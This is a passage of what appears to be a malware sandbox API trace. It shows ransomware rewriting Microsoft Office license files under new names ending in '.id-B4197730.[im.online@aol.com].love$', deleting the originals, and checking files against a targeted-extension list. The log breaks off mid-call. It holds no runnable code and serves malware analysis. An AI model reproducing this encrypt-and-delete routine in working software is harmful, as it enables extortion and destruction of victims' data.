CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.054] GetLastError () returned 0x0 [0273.054] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d68, lpOverlapped=0x0) returned 1 [0273.056] WriteFile (in: hFile=0x388, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d70, lpOverlapped=0x0) returned 1 [0273.058] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0273.058] WriteFile (in: hFile=0x388, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x116, lpOverlapped=0x0) returned 1 [0273.058] SetEndOfFile (hFile=0x388) returned 1 [0273.058] CloseHandle (hObject=0x388) returned 1 [0273.058] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.058] SetEndOfFile (hFile=0x4b0) returned 1 [0273.230] CloseHandle (hObject=0x4b0) returned 1 [0273.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1 [0273.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.233] lstrlenW (lpString=".doc") returned 4 [0273.233] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.233] lstrlenW (lpString=".docx") returned 5 [0273.233] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.233] lstrlenW (lpString=".pdf") returned 4 [0273.233] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.233] lstrlenW (lpString=".xls") returned 4 [0273.233] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.233] lstrlenW (lpString=".xlsx") returned 5 [0273.233] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.233] lstrlenW (lpString=".ppt") returned 4 [0273.233] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.233] lstrlenW (lpString=".zip") returned 4 [0273.233] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString=".rar") returned 4 [0273.234] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString=".bz2") returned 4 [0273.234] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString=".7z") returned 3 [0273.234] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.234] lstrlenW (lpString=".dbf") returned 4 [0273.234] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.234] lstrlenW (lpString=".1cd") returned 4 [0273.234] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.234] lstrlenW (lpString=".jpg") returned 4 [0273.234] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.234] lstrlenW (lpString=".doc") returned 4 [0273.234] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString=".docx") returned 5 [0273.234] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.234] lstrlenW (lpString=".pdf") returned 4 [0273.234] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString=".xls") returned 4 [0273.234] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString=".xlsx") returned 5 [0273.234] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.234] lstrlenW (lpString=".ppt") returned 4 [0273.234] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.235] lstrlenW (lpString=".zip") returned 4 [0273.235] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.235] lstrlenW (lpString=".rar") returned 4 [0273.235] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.235] lstrlenW (lpString=".bz2") returned 4 [0273.235] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.235] lstrlenW (lpString=".7z") returned 3 [0273.235] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.235] lstrlenW (lpString=".dbf") returned 4 [0273.235] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.235] lstrlenW (lpString=".1cd") returned 4 [0273.235] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0273.235] lstrlenW (lpString=".jpg") returned 4 [0273.235] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.235] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.235] lstrlenW (lpString="O365BusinessR_Subscription-ppd.xrm-ms") returned 37 [0273.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.237] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=25386) returned 1 [0273.237] CloseHandle (hObject=0x4b0) returned 1 [0273.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220 [0273.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.238] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.238] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.239] GetLastError () returned 0x0 [0273.239] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x632a, lpOverlapped=0x0) returned 1 [0273.242] WriteFile (in: hFile=0x488, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x6330, lpOverlapped=0x0) returned 1 [0273.244] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0273.244] WriteFile (in: hFile=0x488, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11e, lpOverlapped=0x0) returned 1 [0273.244] SetEndOfFile (hFile=0x488) returned 1 [0273.244] CloseHandle (hObject=0x488) returned 1 [0273.244] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.244] SetEndOfFile (hFile=0x4b0) returned 1 [0273.249] CloseHandle (hObject=0x4b0) returned 1 [0273.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1 [0273.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.251] lstrlenW (lpString=".doc") returned 4 [0273.251] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.251] lstrlenW (lpString=".docx") returned 5 [0273.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.251] lstrlenW (lpString=".pdf") returned 4 [0273.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.251] lstrlenW (lpString=".xls") returned 4 [0273.252] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString=".xlsx") returned 5 [0273.252] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.252] lstrlenW (lpString=".ppt") returned 4 [0273.252] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.252] lstrlenW (lpString=".zip") returned 4 [0273.252] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString=".rar") returned 4 [0273.252] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString=".bz2") returned 4 [0273.252] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString=".7z") returned 3 [0273.252] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.252] lstrlenW (lpString=".dbf") returned 4 [0273.252] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.252] lstrlenW (lpString=".1cd") returned 4 [0273.252] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.252] lstrlenW (lpString=".jpg") returned 4 [0273.252] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.252] lstrlenW (lpString=".doc") returned 4 [0273.252] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.252] lstrlenW (lpString=".docx") returned 5 [0273.252] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.253] lstrlenW (lpString=".pdf") returned 4 [0273.253] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString=".xls") returned 4 [0273.253] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString=".xlsx") returned 5 [0273.253] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.253] lstrlenW (lpString=".ppt") returned 4 [0273.253] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.253] lstrlenW (lpString=".zip") returned 4 [0273.253] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString=".rar") returned 4 [0273.253] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString=".bz2") returned 4 [0273.253] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString=".7z") returned 3 [0273.253] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.253] lstrlenW (lpString=".dbf") returned 4 [0273.253] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.253] lstrlenW (lpString=".1cd") returned 4 [0273.253] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0273.253] lstrlenW (lpString=".jpg") returned 4 [0273.253] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.254] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.254] lstrlenW (lpString="O365BusinessR_Subscription-ul-oob.xrm-ms") returned 40 [0273.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.255] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11647) returned 1 [0273.255] CloseHandle (hObject=0x4b0) returned 1 [0273.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220 [0273.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.256] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.256] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.257] GetLastError () returned 0x0 [0273.257] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d7f, lpOverlapped=0x0) returned 1 [0273.260] WriteFile (in: hFile=0x488, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d80, lpOverlapped=0x0) returned 1 [0273.261] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0273.261] WriteFile (in: hFile=0x488, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x124, lpOverlapped=0x0) returned 1 [0273.261] SetEndOfFile (hFile=0x488) returned 1 [0273.261] CloseHandle (hObject=0x488) returned 1 [0273.262] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.262] SetEndOfFile (hFile=0x4b0) returned 1 [0273.768] CloseHandle (hObject=0x4b0) returned 1 [0273.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1 [0273.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.845] lstrlenW (lpString=".doc") returned 4 [0273.845] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.845] lstrlenW (lpString=".docx") returned 5 [0273.845] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.845] lstrlenW (lpString=".pdf") returned 4 [0273.845] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.845] lstrlenW (lpString=".xls") returned 4 [0273.845] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.845] lstrlenW (lpString=".xlsx") returned 5 [0273.845] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.845] lstrlenW (lpString=".ppt") returned 4 [0273.845] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.845] lstrlenW (lpString=".zip") returned 4 [0273.845] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.845] lstrlenW (lpString=".rar") returned 4 [0273.845] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.846] lstrlenW (lpString=".bz2") returned 4 [0273.846] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.846] lstrlenW (lpString=".7z") returned 3 [0273.846] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.846] lstrlenW (lpString=".dbf") returned 4 [0273.846] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.846] lstrlenW (lpString=".1cd") returned 4 [0273.846] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.846] lstrlenW (lpString=".jpg") returned 4 [0273.846] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.846] lstrlenW (lpString=".doc") returned 4 [0273.846] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.846] lstrlenW (lpString=".docx") returned 5 [0273.847] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.847] lstrlenW (lpString=".pdf") returned 4 [0273.847] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.847] lstrlenW (lpString=".xls") returned 4 [0273.847] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.847] lstrlenW (lpString=".xlsx") returned 5 [0273.847] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.847] lstrlenW (lpString=".ppt") returned 4 [0273.847] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.847] lstrlenW (lpString=".zip") returned 4 [0273.847] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.847] lstrlenW (lpString=".rar") returned 4 [0273.847] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.847] lstrlenW (lpString=".bz2") returned 4 [0273.847] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.847] lstrlenW (lpString=".7z") returned 3 [0273.848] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.848] lstrlenW (lpString=".dbf") returned 4 [0273.848] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.848] lstrlenW (lpString=".1cd") returned 4 [0273.848] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0273.848] lstrlenW (lpString=".jpg") returned 4 [0273.848] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.848] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.848] lstrlenW (lpString="O365BusinessR_SubTest-ppd.xrm-ms") returned 32 [0273.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.850] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=22465) returned 1 [0273.850] CloseHandle (hObject=0x42c) returned 1 [0273.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220 [0273.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, 